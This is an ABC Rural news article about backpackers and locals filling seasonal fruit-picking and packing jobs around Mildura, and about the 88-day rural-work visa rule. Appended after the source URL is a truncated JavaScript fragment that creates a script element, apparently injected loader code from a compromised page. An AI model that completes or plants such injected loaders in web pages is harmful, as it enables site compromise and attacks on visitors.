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Seasonal labour in the fruit industry

Seasonal labour in the fruit industry

ABC Rural 

By Clint Jasper and Sophie Malcolm

It’s hard work, there are very early starts and it’s not exactly glamorous.

As citrus seasons ramps up, there’s tonnes upon tonnes of fruit across the Riverland and Sunraysia waiting to be picked, packed and sent to market.

And all over the region, farmers are looking for workers to do just that.

Last week, Tasmanian Liberal Senator Eric Abetz suggested an answer to youth unemployment might be for young people to take up jobs picking fruit.

On paper, it seems like the perfect fit – there are a lot of people who need a job and a lot of fruit to be picked.

But in reality, there’s another group of people who want to do the same thing.

For years, backpackers have traipsed the well-trodden path into rural and regional Australia, looking to make some money, save cash and extend their visa.

About five years ago, the Federal Government introduced a program that allows travellers from participating countries to stay in Australia for longer, if they do 88 days of ‘rural work’- paid employment in a rural postcode in a specified industry.

That’s how Amy Davis found herself in Mildura.

At home in England, she works as a medical receptionist, but at the moment she’s packing mandarins to get her 88 days completed.

“I think everyone sort of enjoys it and gets on with it and knows that they’re not going to be here forever,” she said.

Scott Cameron, from not-for-profit employment agency MADEC, says the changes to the visa system have also vastly changed supply and demand.

“Since the introduction of that program, we just don’t have the labour shortage that we had five, six, seven, eight years ago,” he said.

PHOTO: Backpackers’ boots at a hostel in Mildura. (Sophie Malcolm )

For Mourquong, NSW, citrus grower Vince DeMaria, the system is working pretty well.

He’s been employing backpackers for the last ten years or so to pack fruit and pick vegetables and uses a balance of local workers and short-term staff.

“We were having a lot of trouble getting a workforce that was consistent and reliable,” he said.

“During the fruit picking seasons, we need a lot of people throughout the district, and the backpackers have been able to come in and fill that void.

“What we do find is that once their 88 days is up or even sooner, we’re turning over a lot of staff, so we’re finding ourselves spending a lot more on training our workforce, but it’s good because they really do pick it up quickly.”

John George runs Mildura International Backpackers, a large hostel in town, and reckons backpackers are vital to local industry.

“The various growers and principals of the businesses [are] very dependent on seasonal labour and sometimes would like more than they can get at particular times,” he said.

“I had a personal experience where there’s no way that I would’ve come and picked fruit in Mildura or any other place, having ceased employment with an employer in the city. It just wouldn’t have been a practical thing to do.”

Paul McCombes, a web designer from London, has picked and carted table grapes, packed citrus and pruned trees in Mildura over the last few months.

Despite initially having trouble finding a job, he’s enjoyed the work, but his top priority is his 88 days.

“When we first arrived…those jobs were a bit poorly paid to be honest. We were getting eight hour days for $20, $30, things like that,” he said.

“[I’ve done] 60 days so far…I can’t wait to get to Melbourne or Sydney to be honest.

“But it’s been good.”


Source: http://www.abc.net.au/news/2014-06-04/harvest-labour-special/5497916var d=document;var s=d.createElement(‘script’);

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